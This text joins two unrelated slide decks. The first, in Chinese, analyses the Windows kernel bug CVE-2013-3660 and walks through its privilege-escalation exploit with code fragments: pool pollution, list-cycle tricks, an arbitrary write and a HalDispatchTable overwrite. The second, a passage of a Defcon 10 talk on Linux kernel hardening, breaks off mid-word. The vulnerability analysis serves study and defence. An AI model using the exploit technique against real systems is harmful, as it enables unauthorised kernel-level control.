ppr pprnext pprprev flags count ……… PATHRECORD next 指针真的未得到初始化吗? PPATHREC EPATHOBJ::pprFlattenRec(PATHRECORD *ppr) { // 1. create a new record if (newpathrec(&pprNew,&maxadd,MAXLONG) != TRUE) return (PPATHREC) NULL; // 2. init some fields (count/flags ...) pprNew->count = 0; pprNew->flags = (ppr->flags & ~PD_BEZIERS); // 3. init the prev-link of the new record pprNew->pprprev = ppr->pprprev; if (pprNew->pprprev == (PPATHREC) NULL) ppath->pprfirst = pprNew; // either insert the record to the head (pprfirst) else pprNew->pprprev->pprnext = pprNew; // or insert the record to the prev node // 4. flattening ...... // 5. init the next-link of the new record pprNew->pprnext = ppr->pprnext; if (pprNew->pprnext == (PPATHREC) NULL) ppath->pprlast = pprNew; // either insert the record to the tail (pprlast) else pprNew->pprnext->pprprev = pprNew; // or insert the record to the next node // 6. return return(pprNew); } PATH ppachain pprfirst pprlast ……… pprnext pprprev flags count ……… PATHRECORD pprnext pprprev PD_BEZIERS count ……… PATHRECORD pprnext pprprev flags count ……… PATHRECORD ppr pprnext pprprev flags count ……… PATHRECORD 看起来 pprNew 节点得到了完整的初始化,那么问题究竟藏在哪 呢? ; ) pprNew 看来我需要仔细审计第四步骤 PPATHREC EPATHOBJ::pprFlattenRec(PATHRECORD *ppr) { // 1. create a new record if (newpathrec(&pprNew,&maxadd,MAXLONG) != TRUE) return (PPATHREC) NULL; // 2. init some fields (count/flags ...) pprNew->count = 0; pprNew->flags = (ppr->flags & ~PD_BEZIERS); // 3. init the prev-link of the new record pprNew->pprprev = ppr->pprprev; if (pprNew->pprprev == (PPATHREC) NULL) ppath->pprfirst = pprNew; // either insert the record to the head (pprfirst) else pprNew->pprprev->pprnext = pprNew; // or insert the record to the prev node // 4. flattening ...... // 5. init the next-link of the new record pprNew->pprnext = ppr->pprnext; if (pprNew->pprnext == (PPATHREC) NULL) ppath->pprlast = pprNew; // either insert the record to the tail (pprlast) else pprNew->pprnext->pprprev = pprNew; // or insert the record to the next node // 6. return return(pprNew); } if (newpathrec(&pprNewNew,&maxadd,MAXLONG) != TRUE) return (PPATHREC) NULL; PATH ppachain pprfirst pprlast ……… pprnext pprprev flags count ……… PATHRECORD pprnext pprprev PD_BEZIERS count ……… PATHRECORD pprnext pprprev flags count ……… PATHRECORD ppr pprnext pprprev flags count ……… PATHRECORD pprnext pprprev flags count ……… PATHRECORD pprNewNew ??? return NULL PPATHREC EPATHOBJ::pprFlattenRec(PATHRECORD *ppr) { // 1. create a new record if (newpathrec(&pprNew,&maxadd,MAXLONG) != TRUE) return (PPATHREC) NULL; // 2. init some fields (count/flags ...) pprNew->count = 0; pprNew->flags = (ppr->flags & ~PD_BEZIERS); // 3. init the prev-link of the new record pprNew->pprprev = ppr->pprprev; if (pprNew->pprprev == (PPATHREC) NULL) ppath->pprfirst = pprNew; // either insert the record to the head (pprfirst) else pprNew->pprprev->pprnext = pprNew; // or insert the record to the prev node // 4. flattening ...... // 5. init the next-link of the new record pprNew->pprnext = ppr->pprnext; if (pprNew->pprnext == (PPATHREC) NULL) ppath->pprlast = pprNew; // either insert the record to the tail (pprlast) else pprNew->pprnext->pprprev = pprNew; // or insert the record to the next node // 6. return return(pprNew); } if (newpathrec(&pprNewNew,&maxadd,MAXLONG) != TRUE) return (PPATHREC) NULL; PATH ppachain pprfirst pprlast ……… pprnext pprprev flags count ……… PATHRECORD pprnext pprprev PD_BEZIERS count ……… PATHRECORD pprnext pprprev flags count ……… PATHRECORD ppr pprnext pprprev flags count ……… PATHRECORD ??? 问题的根源 win32k!EPATHOBJ::pprFlattenRec 例程的一个分支对于内存分 配失败的错误处理代码存在问题。 如果之前的 pprNew 节点是从池中申请的,则该节点的初始内 容未知,因为池管理器不会主动内存清零。 如果 pprNewNew 节点内存申请失败,则 PATHRECORD 链表 的形态将被破坏 —— 一个初始化了一半的 pprNew 节点被接 入了链表,此时未初始化部分 —— pprNew.next 可能是任意 值。 遍历上述链表将导致访问 pprNew.next,而谁又知道我们会被 引向何方呢? 让我们思考一下,您有几种方案修补这个编码错误? 补丁日前的思考 临时补丁方案 A:主动清零池中的数据 优点:逻辑上容易想到;pprNew.next 如果为 NULL 意味着尾节点 缺点:定位 freepathalloc 等相对复杂;PATHRECORD 链表其它节点丢 失 临时补丁方案 B:Patch 池计数器比较代码,禁用池机制 优点:不需要 Inline Hook,1 字节热补丁 缺点:PATHALLOC 池机制被禁用;PATHRECORD 链表其它节点丢失 正式补丁方案 A:重写错误处理代码 恢复链表正确的形态 正式补丁方案 B:重写链表操作代码 链表操作应保证原子性 微软官方补丁方案 2013 年 6 月 26 日,微软公司发布的 Windows Blue Release Preview Build-9431 版中已经修复了这个问题,这早于 7 月 9 日的补丁日。 EPATHOBJ::pprFlattenRec(ppr) CVE-2013-3660 5-Dec-1990 — 9-Jul-2013 Windows 8 9200 Windows Blue RP 9431 ; ppath->ppachain->pprfreestart = NEXTPATHREC(pprNew); ; pprNew->pprnext = ppr->pprnext; ; if (pprNew->pprnext == NULL) ; pprNew->pprnext->pprprev = pprNew; 漏洞利用 第四部分 好吧,这是个问题但那又怎样? "这没什么大不了吧..." "这个问题很难触发的..." "提权漏洞?怎么可能..." "如果内存申请都失败了,系统早就无法正常工作了..." 可真的是这样吗? 让我们看看一切是如何演进成 "任意地址写入" 的提权问题的。 (1)控制 PATHALLOC 内存池 (2)模拟内存压力测试环境 so what~ 利用第一阶段 — BSoD 演示阶段 PATH ppachain pprfirst pprlast ……… pprnext pprprev flags count ……… PATHRECORD pprnext pprprev PD_BEZIERS count ……… PATHRECORD pprnext pprprev flags count ……… PATHRECORD ppr pprnext pprprev flags count ……… PATHRECORD 0x41414141 BSoD PATHALLOC::freelist #define FREELIST_MAX 4 WangYu, All Rights Reserved. ……… PATHALLOC 01 http://blog.cmpxchg8b.com/2013/05/introduction-to-windows-kernel-security.html (1)利用 CreateRoundRectRgn 等技巧大量消耗内存,模拟内存压力测试环 境 (2)将垃圾数据以 "点" 的形式压入 PATHALLOC 内存池 —— 池污染 (3)循环调用 EPATHOBJ::bFlatten 例程尝试触发问题 步骤三的一处细节: 3.1 第一次调用 EPATHOBJ::bFlatten: 触发问题代码,构造畸形链表 3.2 第二次调用 EPATHOBJ::bFlatten: 遍历畸形链表,产生访问违例 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 利用第二阶段 — 扩大可控数据阶段 http://seclists.org/fulldisclosure/2013/May/91 ...... The bug is really nice, but exploitation when allocations start failing is tricky. As vuln-dev is dead, I thought I'd post here, I don't have much free time to work on silly Microsoft code, so I'm looking for ideas on how to fix the final obstacle for exploitation ...... 将一个用户态地址(而不是垃圾数据)以 "点" 的形式压入 PATHALLOC 池, win32k!EPATHOBJ::bFlatten() 例程在遍历链表时会访问该可控的环三地址: // generate a large number of Bezier Curves made up of pointers to our PATHRECORD object. for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { Points[PointNum].x = (ULONG)(PathRecord) >> 4; Points[PointNum].y = (ULONG)(PathRecord) >> 4; PointTypes[PointNum] = PT_BEZIERTO; } 此时的垃圾数据即用户态可控的 PathRecord 节点的基地址, win32k!EPATHOBJ::bFlatten() 例程访问它意味着将会访问 PathRecord->next PathRecord->next = (PVOID)(0x41414141); PathRecord->prev = (PVOID)(0x42424242); 利用第二阶段 — 扩大可控数据阶段 PATH ppachain pprfirst pprlast ……… pprnext pprprev flags count ……… PATHRECORD pprnext pprprev PD_BEZIERS count ……… PATHRECORD pprnext pprprev flags count ……… PATHRECORD ppr pprnext pprprev flags count ……… PATHRECORD ……… PATHALLOC 01 Ring-3 Ring-0 pprnext pprprev flags count ……… PATHRECORD 虽同样是产生了访问违例, 但阶段一和阶段二是不一样的: 阶段一是在内核访问了非法数据; 阶段二是将指针遍历的下一链引导 向用户态的 PATHRECORD 节点, 进而访问非法地址。 即攻击代码有了初步的链表操控。 http://seclists.org/fulldisclosure/2013/May/91 PATHALLOC::freelist #define FREELIST_MAX 4 WangYu, All Rights Reserved. 0x41414141 BSoD Ring-3 PATHRECORD Ring-3 PATHRECORD Ring-3 PATHRECORD Ring-3 PATHRECORD Ring-3 PATHRECORD 利用第三阶段 — 任意地址写入阶段 http://www.exploit-db.com/exploits/25611/ ...... I'm quite proud of this list cycle trick, here's how to turn it into an arbitrary write ...... Tavis Ormandy 为自己自豪的原因是他想到了一个链表循环诡计!想法如下: 仍然将一个环三地址以 "点" 的形式压入 PATHALLOC 池。 环三地址 PathRecord.next 中不再填写无意义的值,而是填写自己: PathRecord->next = PathRecord; PathRecord->prev = (PVOID)(0x42424242); PathRecord->flags = 0; 这个行为会导致 win32k!EPATHOBJ::bFlatten() 遍历链表时产生死循环: BOOL EPATHOBJ::bFlatten() { for (PATHRECORD *ppr = ppath->pprfirst; ppr != (PPATHREC) NULL; ppr = ppr->pprnext) { if (ppr->flags & PD_BEZIERS) // 只要节点不含有 PD_BEZIERS 标志,死循环就立刻成立 { ppr = pprFlattenRec(ppr); // 我们不想此时受到干扰 ...... } } ...... 利用第三阶段 — 任意地址写入阶段 PATH ppachain pprfirst pprlast ……… pprnext pprprev flags count ……… PATHRECORD pprnext pprprev PD_BEZIERS count ……… PATHRECORD pprnext pprprev flags count ……… PATHRECORD ppr pprnext pprprev flags count ……… PATHRECORD ……… PATHALLOC 01 Ring-3 Ring-0 pprnext pprprev flags = 0 count ……… PATHRECORD http://seclists.org/fulldisclosure/2013/May/91 PATHALLOC::freelist #define FREELIST_MAX 4 WangYu, All Rights Reserved. 细节说明: 只要环三节点不含有 PD_BEZIERS 标 志,就可构造出 EPATHOBJ::bFlatten 例程的(无干扰)死循环条件。 当然,死循环本身不是目的,只是利 用这个技巧可以省去多线程同步的烦 恼。 Ring-3 PATHRECORD Ring-3 PATHRECORD Ring-3 PATHRECORD Ring-3 PATHRECORD Ring-3 PATHRECORD 利用第三阶段 — 任意地址写入阶段 PATH ppachain pprfirst pprlast ……… pprnext pprprev flags count ……… PATHRECORD pprnext pprprev PD_BEZIERS count ……… PATHRECORD pprnext pprprev flags count ……… PATHRECORD ppr pprnext pprprev flags count ……… PATHRECORD ……… PATHALLOC 01 Ring-3 Ring-0 pprnext pprprev flags = 0 count ……… PATHRECORD_1 http://seclists.org/fulldisclosure/2013/May/91 PATHALLOC::freelist #define FREELIST_MAX 4 WangYu, All Rights Reserved. pprnext 0xCCCCCCCC PD_BEZIERS count ……… PATHRECORD_2 InterlockedExchange Thread 2 ppr 细节说明: 辅助线程释放内存,还原系统环境。 由于 PATHRECORD_2 节点的属性含 有 PD_BEZIERS 标志,这意味着 EPATHOBJ::bFlatten 例程在循环到这 个节点时将会以此节点为参数调用 EPATHOBJ::pprFlattenRec Ring-3 PATHRECORD Ring-3 PATHRECORD Ring-3 PATHRECORD Ring-3 PATHRECORD Ring-3 PATHRECORD 利用第三阶段 — 我们又回来了 PPATHREC EPATHOBJ::pprFlattenRec(PATHRECORD *ppr) { // 1. create a new record if (newpathrec(&pprNew,&maxadd,MAXLONG) != TRUE) return (PPATHREC) NULL; // 2. init some fields (count/flags ...) pprNew->count = 0; pprNew->flags = (ppr->flags & ~PD_BEZIERS); // 3. init the prev-link of the new record pprNew->pprprev = ppr->pprprev; if (pprNew->pprprev == (PPATHREC) NULL) ppath->pprfirst = pprNew; // either insert the record to the head (pprfirst) else pprNew->pprprev->pprnext = pprNew; // or insert the record to the prev node …… } pprnext pprprev flags = 0 count ……… PATHRECORD_1 pprnext 0xCCCCCCCC PD_BEZIERS count ……… PATHRECORD_2 ppr pprnext pprprev flags count ……… PATHRECORD Ring-3 Ring-0 利用第三阶段 — 我们又回来了 PPATHREC EPATHOBJ::pprFlattenRec(PATHRECORD *ppr) { // 1. create a new record if (newpathrec(&pprNew,&maxadd,MAXLONG) != TRUE) return (PPATHREC) NULL; // 2. init some fields (count/flags ...) pprNew->count = 0; pprNew->flags = (ppr->flags & ~PD_BEZIERS); // 3. init the prev-link of the new record pprNew->pprprev = ppr->pprprev; if (pprNew->pprprev == (PPATHREC) NULL) ppath->pprfirst = pprNew; // either insert the record to the head (pprfirst) else pprNew->pprprev->pprnext = pprNew; // or insert the record to the prev node …… } pprnext pprprev flags = 0 count ……… PATHRECORD_1 pprnext 0xCCCCCCCC PD_BEZIERS count ……… PATHRECORD_2 ppr pprnext pprprev flags count ……… PATHRECORD Ring-3 Ring-0 利用第三阶段 — 我们又回来了 PPATHREC EPATHOBJ::pprFlattenRec(PATHRECORD *ppr) { // 1. create a new record if (newpathrec(&pprNew,&maxadd,MAXLONG) != TRUE) return (PPATHREC) NULL; // 2. init some fields (count/flags ...) pprNew->count = 0; pprNew->flags = (ppr->flags & ~PD_BEZIERS); // 3. init the prev-link of the new record pprNew->pprprev = ppr->pprprev; if (pprNew->pprprev == (PPATHREC) NULL) ppath->pprfirst = pprNew; // either insert the record to the head (pprfirst) else pprNew->pprprev->pprnext = pprNew; // or insert the record to the prev node …… } pprnext pprprev flags = 0 count ……… PATHRECORD_1 pprnext 0xCCCCCCCC PD_BEZIERS count ……… PATHRECORD_2 ppr pprnext flags count ……… PATHRECORD Ring-3 Ring-0 0xCCCCCCCC 利用第三阶段 — 任意地址写入阶段 PPATHREC EPATHOBJ::pprFlattenRec(PATHRECORD *ppr) { // 1. create a new record if (newpathrec(&pprNew,&maxadd,MAXLONG) != TRUE) return (PPATHREC) NULL; // 2. init some fields (count/flags ...) pprNew->count = 0; pprNew->flags = (ppr->flags & ~PD_BEZIERS); // 3. init the prev-link of the new record pprNew->pprprev = ppr->pprprev; if (pprNew->pprprev == (PPATHREC) NULL) ppath->pprfirst = pprNew; // either insert the record to the head (pprfirst) else pprNew->pprprev->pprnext = pprNew; // or insert the record to the prev node …… } pprnext pprprev flags = 0 count ……… PATHRECORD_1 pprnext 0xCCCCCCCC PD_BEZIERS count ……… PATHRECORD_2 ppr [0xCCCCCCCC + 0] = pprNew; // Arbitrary Address Write Bug ! pprnext flags count ……… PATHRECORD Ring-3 Ring-0 0xCCCCCCCC 我们又回到了熟悉的 EPATHOBJ::pprFlattenRec 例程了。还记得我们之前提到过的两次 EPATHOBJ::bFlatten 调用吗? 第一次:触发问题代码,构造畸形链表;第二次:遍历畸形链表,产生访问违例。这里 就是利用的完整体现 —— 利用链表赋值操作进行任意地址写入。 此时利用问题已经转化为传统的 write-4 问题。唯一需要注意的是:任意地址写入后, 写入的值不可控,为 pprNew 的基地址。 利用第四阶段 — Home Run! pprnext nt!HalDispatchTable + 4 PD_BEZIERS count ……… PATHRECORD_2 ppr jmp …… flags count ……… PATHRECORD Ring-3 Ring-0 nt!HalDispatchTable +00 +04 +08 nt!HalDispatchTable + 4 write-4 问题的利用方案很多,比如参考 ms08-025 的利用方式, 将任意地址写的目标指向 nt!HalDispatchTable + 4。 如果有 call [nt!HalDispatchTable+0x04] 的操作即意味着 call 到 pprNew 处,因为(第一次)任意地址写入的是 pprNew 的基 址。 所以我们也一定希望 pprNew+0x00 处是一些可以执行的东 西,; ) 我们有四个字节的发挥空间, 至于是 jmp 0 还是跳转到栈上取参数 pprNew->pprnext = ppr->pprnext; 语句会帮你 完成赋值。 唯一需要留神的是 pprNew->pprnext->pprprev = pprNew; 即双链表操作的四个子步骤都需要照顾好,我们要保证第二次 pprNew 写入的页面地址是有写属性的。 x64 的利用方式和上述描述类似。 利用第四阶段 — 攻防永无止尽 jump to nt!HalDispatchTable stack Page Pool NX patch MM_USER_PROBE_ADDRESS / MM_HIGHEST_USER_ADDRESS and using (return to) Zero-Page NULL-Pointer Dereference Mitigation the others ring-3 shellcode CR4.SMEP kernel gadget & ROP …… …… 思考与启示 第四部分 思考与启示 程序员编码的疏漏 模拟内存压力环境 PATHALLOC 内存池的可控特性 bFlatten 链表遍历代码将未初始化的垃圾数据当做指针来看待 有问题的代码被激活 未初始化完成的 节点被接入链表 执行流程被错误的 引导向操作系统用户态 精心构造用户态节点形态 操控内核函数的执行分支 迫使内核函数工作在 用户可控参数的环境下 还原内存压力测试环境,使得操作系统重新变得可用 Write-4 任意地址写 入 漏洞回顾: Ring-0 Ring-3 思考与启示 从攻击的角度看待: 坚持不懈,永不言弃,注重积累,将攻击知识融会贯通 从防御的角度看待: 无知者无畏,未知攻焉知防? 千里之堤,毁于蚁穴,任何时候都不能掉以轻心 从阴谋论 / 国家安全的角度看待: 输出的产品有必要内置后门代码吗?太容易被发现了吧 往往一句看似漫不经心的代码就可以打破整个安全模型 思考与启示 从程序员的角度看待: 请谨慎编码, 哪怕它只是一句错误处理, 哪怕它可以潜藏 8252 天。 EPATHOBJ::pprFlattenRec(ppr) CVE-2013-3660 5-Dec-1990 — 9-Jul-2013 @ Dig-it! 致谢! P1P1Winner PJF Bugvuln RoyceLu YaoTong PaulFan MJ0011 HIT Committee guys in the 2B# - 14F Tavis Ormandy Q&A [email protected]
pdf
Security at Kernel Level Philippe Biondi <[email protected]> — Defcon 10 August 2,3,4th, 2002 Outline 1 ■ Why ? ▶ Context ▶ A new security model ▶ Conclusion ■ How ? ▶ Taxonomy of action paths ▶ Defending kernel space ▶ Filtering in kernel space ■ Implementations ▶ Existing projects ▶ LSM CARTEL SÉCURITÉ — Philippe Biondi Outline Why ? 2 ■ Why ? ▶ Context ▶ A new security model ▶ Conclusion ■ How ? ▶ Taxonomy of action paths ▶ Defending kernel space ▶ Filtering in kernel space ■ Implementations ▶ Existing projects ▶ LSM CARTEL SÉCURITÉ — Philippe Biondi Why ? Context | New model | Conclusion 3 We would like to be protected from ▶ Fun/hack/defacing ▶ Tampering ▶ Resources stealing ▶ Data stealing ▶ Destroying ▶ DoS ▶ . . . CARTEL SÉCURITÉ — Philippe Biondi Why ? Context | New model | Conclusion 4 ■ Thus we must ensure ▶ Confidentiality ▶ Integrity ▶ Availability ■ What do we do to ensure that ? ▶ We define a set of rules describing the way we handle, protect and distribute information ¯ This is called a security policy CARTEL SÉCURITÉ — Philippe Biondi Why ? Context | New model | Conclusion 5 To enforce our security policy, we will use some security software ▶ Tripwire, AIDE, bsign, . . . for integrity checks ▶ SSH, SSL, IP-SEC, PGP, . . . for confidentiality ▶ Passwords, secure badges, biometric access controls, . . . for authentication ▶ . . . Can we trust them ? Do they work in a trusted place ? CARTEL SÉCURITÉ — Philippe Biondi Why ? Context | New model | Conclusion 6 The mice and the cookies ■ Facts : ▶ We have some cookies in a house ▶ We want to prevent the mice from eating the cookies CARTEL SÉCURITÉ — Philippe Biondi Why ? Context | New model | Conclusion 7 The mice and the cookies ■ Solution 1 : we protect the house ▶ too many variables to cope with (lots of windows, holes, . . . ) ▶ we can’t know all the holes to lock them. ▶ we can’t be sure there weren’t any mice before we closed the holes I won’t bet I’ll eat cookies tomorrow. ■ Solution 2 : we put the cookies in a metal box ▶ we can grasp the entire problem ▶ we can “audit” the box ▶ the cookies don’t care whether mice can break into the house I’ll bet I’ll eat cookies tomorrow. CARTEL SÉCURITÉ — Philippe Biondi Why ? Context | New model | Conclusion 8 Usual security model trusted hardware kernel space space user sendmail tripwire ssh CARTEL SÉCURITÉ — Philippe Biondi Why ? Context | New model | Conclusion 8 Usual security model trusted hardware kernel space space user sendmail tripwire ssh CARTEL SÉCURITÉ — Philippe Biondi Why ? Context | New model | Conclusion 9 Kernel security model trusted hardware kernel space space user sendmail tripwire ssh untrusted CARTEL SÉCURITÉ — Philippe Biondi Why ? Context | New model | Conclusion 9 Kernel security model trusted hardware kernel space space user sendmail tripwire ssh untrusted CARTEL SÉCURITÉ — Philippe Biondi Why ? Context | New model | Conclusion 10 To use this model, we must patch the kernel for it to ▶ protect itself ¯ trusted kernel space ▶ protect other programs/data related to/involved in the security policy CARTEL SÉCURITÉ — Philippe Biondi Outline How ? 11 ■ Why ? ▶ Context ▶ A new security model ▶ Conclusion ■ How ? ▶ Taxonomy of action paths ▶ Defending kernel space ▶ Filtering in kernel space ■ Implementations ▶ Existing projects ▶ LSM CARTEL SÉCURITÉ — Philippe Biondi How ? Taxonomy | Defence | Filtering 12 Targets physical security physical security action vehicle storage PROM, FPGA,... kernel application application application MMU human CARTEL SÉCURITÉ — Philippe Biondi How ? Taxonomy | Defence | Filtering 13 Targeting storage or PROM with direct access to the box physical security physical security action vehicle storage PROM, FPGA,... kernel application application application MMU human 1 2 CARTEL SÉCURITÉ — Philippe Biondi How ? Taxonomy | Defence | Filtering 14 Targeting an application accessible with keyboard, network, . . . physical security physical security action vehicle storage PROM, FPGA,... kernel application application application MMU human 4 3 5 CARTEL SÉCURITÉ — Philippe Biondi How ? Taxonomy | Defence | Filtering 15 Targeting storage or PROM through an accessible application physical security physical security action vehicle storage PROM, FPGA,... kernel application application application MMU human 9 4 6 8 7 3 5 CARTEL SÉCURITÉ — Philippe Biondi How ? Taxonomy | Defence | Filtering 16 Targeting an unaccessible application through an accessible one physical security physical security action vehicle storage PROM, FPGA,... kernel application application application MMU human 11 4 10 12 3 5 CARTEL SÉCURITÉ — Philippe Biondi How ? Taxonomy | Defence | Filtering 17 Targeting kernel directly or through an accessible application physical security physical security action vehicle storage PROM, FPGA,... kernel application application application MMU human 4 13 3 5 CARTEL SÉCURITÉ — Philippe Biondi How ? Taxonomy | Defence | Filtering 18 ■ Bugless interfaces ▶ network stack, kbd input, . . . ▶ kernel calls ■ Defence ▶ /dev/mem, /dev/kmem . . . ▶ create_module(), init_module(), . . . ■ Filtering ▶ Queries to reach a storage de- vice or PROMs, FPGAs, . . . ▶ Queries to reach another pro- cess’ memory physical security physical security action vehicle storage PROM, FPGA,... kernel application application application MMU human 11 1 9 4 6 8 13 10 7 12 3 2 5 CARTEL SÉCURITÉ — Philippe Biondi How ? Taxonomy | Defence | Filtering 19 Is the bugless interface hypothesis ok ? ▶ Protected mode mechanisms =⇒ harder to do programming faults (IMHO) (bugs are still possible, race conditions for ex.) linux/drivers/char/rtc.c static int rtc_ioctl(struct inode *inode, struct file *file, unsigned int cmd, unsigned long arg) { unsigned long flags; struct rtc_time wtime; switch (cmd) { [...] case RTC_ALM_SET: /* Store a time into the alarm */ { unsigned char hrs, min, sec; struct rtc_time alm_tm; if (copy_from_user(&alm_tm, (struct rtc_time*)arg, sizeof(struct rtc_time))) return -EFAULT; CARTEL SÉCURITÉ — Philippe Biondi How ? Taxonomy | Defence | Filtering 20 How to protect kernel space against a user space intruder ? Block everything from user space that can affect kernel space. ■ Attacks can come through : ▶ system calls ▶ devices files ▶ procfs ■ Few entry points, opened by the kernel ▶ /dev/mem, /dev/kmem ▶ /dev/port, ioperm and iopl ▶ create_module(), init_module(), . . . ▶ reboot() CARTEL SÉCURITÉ — Philippe Biondi How ? Taxonomy | Defence | Filtering 21 ▶ /dev/mem, /dev/kmem and /dev/port protection : static int open_port(struct inode * inode, struct file * filp) { return capable(CAP_SYS_RAWIO) ? 0 : -EPERM; } CARTEL SÉCURITÉ — Philippe Biondi How ? Taxonomy | Defence | Filtering 22 ▶ Module insertion control : asmlinkage unsigned long sys_create_module(const char *name_user, size_t size) { char *name; long namelen, error; struct module *mod; if (!capable(CAP_SYS_MODULE)) return -EPERM; [...] CARTEL SÉCURITÉ — Philippe Biondi How ? Taxonomy | Defence | Filtering 23 What must we protect ? ■ What is in memory ▶ Processes (memory tampering, IPC, network communications, . . . ) ▶ Kernel configuration (firewall rules, etc.) ■ What is on disks or tapes ▶ Files ▶ Metadata (filesystems, partition tables, . . . ), boot loaders, . . . ■ Hardware ▶ Devices (ioctl, raw access, . . . ) ▶ EPROMs, configurable hardware, . . . CARTEL SÉCURITÉ — Philippe Biondi How ? Taxonomy | Defence | Filtering 24 How to protect that ? ▶ Queries are done only via the kernel ▶ System calls, sysctls and devices drivers are a place of choice for controlling accesses ¯ We have to modify their behaviour consistently to be able to enforce a complete security policy. CARTEL SÉCURITÉ — Philippe Biondi How ? Taxonomy | Defence | Filtering 25 A good way is to use a modular architecture to control kernel calls : there will be ■ An enforcer component ■ A decider component ▶ Lots of access control policies (DAC, MAC, ACL, RBAC, IBAC, . . . ) syscall app component decider component enforcer CARTEL SÉCURITÉ — Philippe Biondi How ? Taxonomy | Defence | Filtering 26 ■ How to add the enforcer code to the kernel calls ? ▶ kernel call interception ▶ kernel call modification ■ ex: system call anatomy : kill() open() chmod() execve() socketcall() code dispatching app app user space kernel space user space dispatching code CARTEL SÉCURITÉ — Philippe Biondi How ? Taxonomy | Defence | Filtering 27 Syscall interception example : Medusa DS9 linux/arch/i386/kernel/entry.S [...] GET_CURRENT(%ebx) cmpl $(NR_syscalls),%eax jae badsys #ifdef CONFIG_MEDUSA_SYSCALL /* cannot change: eax=syscall, ebx=current */ btl %eax,med_syscall(%ebx) jnc 1f pushl %ebx pushl %eax call SYMBOL_NAME(medusa_syscall_watch) cmpl $1, %eax popl %eax popl %ebx jc 3f jne 2f 1: #endif testb $0x20,flags(%ebx) # PF_TRACESYS jne tracesys [...] CARTEL SÉCURITÉ — Philippe Biondi How ? Taxonomy | Defence | Filtering 28 ■ Syscall interception advantages ▶ general system ▶ low cost patch ■ Drawbacks ▶ kind of duplication of every syscall ▶ need to know and interpret parameters for each different syscall ▶ architecture dependent CARTEL SÉCURITÉ — Philippe Biondi How ? Taxonomy | Defence | Filtering 29 Syscall modification example : LIDS linux/fs/open.c asmlinkage long sys_utime(char * filename, struct utimbuf * times) { int error; struct nameidata nd; struct inode * inode; struct iattr newattrs; error = user_path_walk(filename, &nd); if (error) goto out; inode = nd.dentry->d_inode; error = -EROFS; if (IS_RDONLY(inode)) goto dput_and_out; #ifdef CONFIG_LIDS if(lids_load && lids_local_load) { if ( lids_check_base(nd.dentry,LIDS_WRITE)) { lids_security_alert("Try to change utime of %s",filename); goto dput_and_out; } } #endif /* Don’t worry, the checks are done in inode_change_ok() */ newattrs.ia_valid = ATTR_CTIME | ATTR_MTIME | ATTR_ATIME; if (times) { CARTEL SÉCURITÉ — Philippe Biondi How ? Taxonomy | Defence | Filtering 30 ■ Syscall modification advantages ▶ Syscall parameters already interpreted and checked ▶ Great tuning power. We can alter the part of the syscall we want. ■ Drawbacks ▶ Lot of the 200+ syscalls must be altered CARTEL SÉCURITÉ — Philippe Biondi How ? Taxonomy | Defence | Filtering 31 To be out soon in the kernel : LSM linux/kernel/module.c sys_create_module(const char *name_user, size_t size) { char *name; long namelen, error; struct module *mod; unsigned long flags; if (!capable(CAP_SYS_MODULE)) return -EPERM; lock_kernel(); if ((namelen = get_mod_name(name_user, &name)) < 0) { error = namelen; goto err0; } if (size < sizeof(struct module)+namelen) { error = -EINVAL; goto err1; } if (find_module(name) != NULL) { error = -EEXIST; goto err1; } /* check that we have permission to do this */ error = security_ops->module_ops->create_module(name, size); if (error) goto err1; CARTEL SÉCURITÉ — Philippe Biondi Outline Implementations 32 ■ Why ? ▶ Context ▶ A new security model ▶ Conclusion ■ How ? ▶ Taxonomy of action paths ▶ Defending kernel space ▶ Filtering in kernel space ■ Implementations ▶ Existing projects ▶ LSM CARTEL SÉCURITÉ — Philippe Biondi Implementations Exisiting projects | LSM 33 Existing projects : ▶ Openwall ▶ GrSecurity ▶ LIDS ▶ Medusa DS9 ▶ RSBAC ▶ LoMaC ▶ SE Linux ▶ . . . CARTEL SÉCURITÉ — Philippe Biondi Implementations Exisiting projects | LSM 34 Openwall : Collection of security-related features for the Linux kernel. ▶ Non-executable user stack area ▶ Restricted links in /tmp ▶ Restricted FIFOs in /tmp ▶ Restricted /proc ▶ Special handling of fd 0, 1, and 2 ▶ Enforce RLIMIT_NPROC on execve CARTEL SÉCURITÉ — Philippe Biondi Implementations Exisiting projects | LSM 35 GrSecurity : General Security for Linux ▶ Kernel hardening from Openwall ▶ ACL system CARTEL SÉCURITÉ — Philippe Biondi Implementations Exisiting projects | LSM 36 LIDS : Linux Intrusion Detection (Defence?) System ■ Self-protection ■ Processes protection ■ Files protection ■ Online administration ■ Special (controversial) features ▶ Dedicated mailer in the kernel ▶ Kind of portscan detector in the kernel CARTEL SÉCURITÉ — Philippe Biondi Implementations Exisiting projects | LSM 37 LIDS general architecture processes syslog Kernel image Boot stuff init, rc, daemons enforcer component Logging stuff Kernel Mailer portscan detector AC data procfs stuff init code component decider lidsadm LIDS AC data syscalls CARTEL SÉCURITÉ — Philippe Biondi Implementations Exisiting projects | LSM 38 Medusa DS9 : Extending the standard Linux (Unix) security architecture with a user-space authorization server. ■ layer 1 ▶ Hooks in the original kernel code ■ layer 2 ▶ kernel space code ▶ called from hooks. ▶ do basic permission checks ▶ check for cached permissions ▶ call the communication layer if necessary ■ layer 3 ▶ communication layer ▶ communicate with a user space daemon CARTEL SÉCURITÉ — Philippe Biondi Implementations Exisiting projects | LSM 39 ■ User space daemon ▶ decider component ■ Miscellaneous ▶ syscall interception ▶ can force code to be executed after a syscall CARTEL SÉCURITÉ — Philippe Biondi Implementations Exisiting projects | LSM 40 RSBAC : Rule Set Based Access Control ■ It is based on the Generalized Framework for Access Control (GFAC) ■ All security relevant system calls are extended by security enforcement code. ■ Different access control policies implemented as kernel modules ▶ MAC, ACL, RC (role control), FC (Functional Control), MS (Malware Scan), . . . CARTEL SÉCURITÉ — Philippe Biondi Implementations Exisiting projects | LSM 41 LOMAC : Low Water-Mark Integrity ■ Initialization ▶ Some specified directories (B) are high ▶ Other directories (D) and sockets (E) are low ■ Execution ▶ Processes created from B are high ▶ Processes created from D are low ■ Reading ▶ A can read B. C can read D or E ▶ C can’t read B ▶ if A reads D or E, A goes into the low level ■ . . . High Low process file C D E A B CARTEL SÉCURITÉ — Philippe Biondi Implementations Exisiting projects | LSM 42 SE Linux : NSA’s Security Enhanced Linux ■ Based on the Flask architecture (Flexible architecture security kernel) ■ Enforcer / decider components ■ Pays a lot of attention to the change of the access control policy (revocation) CARTEL SÉCURITÉ — Philippe 